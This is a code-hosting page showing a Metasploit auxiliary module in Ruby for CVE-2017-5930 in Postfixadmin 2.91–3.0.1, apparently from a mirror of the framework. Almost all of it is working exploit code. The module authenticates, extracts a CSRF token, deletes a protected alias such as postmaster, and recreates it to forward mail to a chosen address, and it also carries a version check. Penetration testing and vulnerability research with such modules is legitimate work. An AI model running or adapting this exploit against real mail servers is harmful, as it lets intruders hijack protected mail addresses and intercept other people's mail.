/
githubmirror
/
metasploit-framework
Обзор
Документация
Войти
/
githubmirror
/
metasploit-framework
Код
Запросы
0
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
modules/auxiliary/admin/http/pfadmin_set_protected_alias.rb
182 строки
7 KB
adfoster-r7
Improve auxiliary check code messages
16 апр 2026, 13:22
16 апр 2026, 13:22
31ef5e0
Код
Авторство
О чём код?
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Postfixadmin Protected Alias Deletion Vulnerability', 'Description' => %q{ Postfixadmin installations between 2.91 and 3.0.1 do not check if an admin is allowed to delete protected aliases. This vulnerability can be used to redirect protected aliases to an other mail address. Eg. rewrite the postmaster@domain alias. }, 'Author' => [ 'Jan-Frederik Rieckers' ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-5930'], ['URL', 'https://github.com/postfixadmin/postfixadmin/pull/23'], ['BID', '96142'], ], 'Privileged' => true, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'DisclosureDate' => '2017-02-03', 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES], 'Reliability' => [] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'The base path to the postfixadmin installation', '/']), OptString.new('USERNAME', [true, 'The Postfixadmin username to authenticate with']), OptString.new('PASSWORD', [true, 'The Postfixadmin password to authenticate with']), OptString.new('TARGET_ALIAS', [true, 'The alias which should be rewritten']), OptString.new('NEW_GOTO', [true, 'The new redirection target of the alias']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def target_alias datastore['TARGET_ALIAS'] end def new_goto datastore['NEW_GOTO'] end def check res = send_request_cgi({ 'uri' => postfixadmin_url_login, 'method' => 'GET' }) return Exploit::CheckCode::Unknown('No response received from the target') unless res return Exploit::CheckCode::Safe('Target did not return a 200 response') if res.code != 200 if res.body =~ /<div id="footer".*Postfix Admin/m version = res.body.match(%r{<div id="footer"[^<]*<a[^<]*Postfix\s*Admin\s*([^<]*)</}mi) return Exploit::CheckCode::Detected('Postfix Admin detected but version could not be determined') unless version if Rex::Version.new('2.91') > Rex::Version.new(version[1]) return Exploit::CheckCode::Detected("Postfix Admin #{version[1]} is older than the vulnerable range") elsif Rex::Version.new('3.0.1') < Rex::Version.new(version[1]) return Exploit::CheckCode::Detected("Postfix Admin #{version[1]} is newer than the vulnerable range") end return Exploit::CheckCode::Appears("Postfix Admin #{version[1]} is in the vulnerable range 2.91-3.0.1") end return Exploit::CheckCode::Unknown('Could not identify Postfix Admin on the target') end def run print_status("Authenticating with Postfixadmin using #{username}:#{password} ...") cookie = postfixadmin_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with PostfixAdmin') if cookie.nil? print_good('Authenticated with Postfixadmin') vprint_status('Requesting virtual_list') res = send_request_cgi({ 'uri' => postfixadmin_url_list(target_alias.split('@')[-1]), 'method' => 'GET', 'cookie' => cookie }, 10) fail_with(Failure::UnexpectedReply, 'The request for the domain list failed') if res.nil? fail_with(Failure::NoAccess, 'Doesn\'t seem to be admin for the domain the target alias is in') if res.redirect? body = res.body vprint_status('Get token') token = body.match(/token=([0-9a-f]{32})/) fail_with(Failure::UnexpectedReply, 'Could not get any CSRF-token. You should have at least one other alias or mailbox to get a token') unless token t = token[1] print_status('Delete the old alias') res = send_request_cgi({ 'uri' => postfixadmin_url_alias_delete(target_alias, t), 'method' => 'GET', 'cookie' => cookie }, 10) fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect? res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10) if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi if res.nil? || res.body.nil? fail_with(Failure::UnexpectedReply, 'Unexpected reply while deleting the alias') elsif res.body =~ %r{<ul class="flash-error">.*<li.*#{target_alias}.*</li>.*</ul>}mi fail_with(Failure::NotVulnerable, 'It seems the target is not vulnerable, the deletion of the target alias failed.') else fail_with(Failure::Unknown, 'An unexpected failure occurred.') end end print_good('Deleted the old alias') vprint_status('Will create the new alias') post_vars = { 'submit' => 'Add alias', 'table' => 'alias', 'value[active]' => 1, 'value[domain]' => target_alias.split('@')[-1], 'value[localpart]' => target_alias.split('@')[0..-2].join('@'), 'value[goto]' => new_goto } res = send_request_cgi({ 'uri' => postfixadmin_url_edit, 'method' => 'POST', 'cookie' => cookie, 'vars_post' => post_vars }, 10) fail_with(Failure::UnexpectedReply, 'Didn\'t get redirected.') unless res && res.redirect? res = send_request_cgi({ 'uri' => postfixadmin_url_list, 'method' => 'GET', 'cookie' => cookie }, 10) if res.nil? || res.body.nil? || res.body !~ %r{<ul class="flash-info">.*<li.*#{target_alias}.*</li>.*</ul>}mi if res.nil? || res.body.nil? fail_with(Failure::UnexpectedReply, 'Unexpected reply while adding new alias') elsif res.body =~ /<ul class="flash-error">/mi fail_with(Failure::UnexpectedReply, 'It seems the new alias couldn\'t be added.') else fail_with(Failure::Unknown, 'An unexpected failure occurred.') end end print_good('New alias created') end # Performs a Postfixadmin login # # @param user [String] Username # @param pass [String] Password # @param timeout [Integer] Max seconds to wait before timeout, defaults to 20 # # @return [String, nil] The session cookie as single string if login was successful, nil otherwise def postfixadmin_login(user, pass, timeout = 20) res = send_request_cgi({ 'method' => 'POST', 'uri' => postfixadmin_url_login, 'vars_post' => { 'fUsername' => user.to_s, 'fPassword' => pass.to_s, 'lang' => 'en', 'Submit' => 'Login' } }, timeout) if res && res.redirect? cookies = res.get_cookies return cookies if cookies =~ /PHPSESSID=/ end nil end def postfixadmin_url_login normalize_uri(target_uri.path, 'login.php') end def postfixadmin_url_list(domain = nil) modifier = domain.nil? ? '' : "?domain=#{domain}" normalize_uri(target_uri.path, 'list-virtual.php' + modifier) end def postfixadmin_url_alias_delete(target, token) normalize_uri(target_uri.path, 'delete.php' + "?table=alias&delete=#{CGI.escape(target)}&token=#{token}") end def postfixadmin_url_edit normalize_uri(target_uri.path, 'edit.php') end end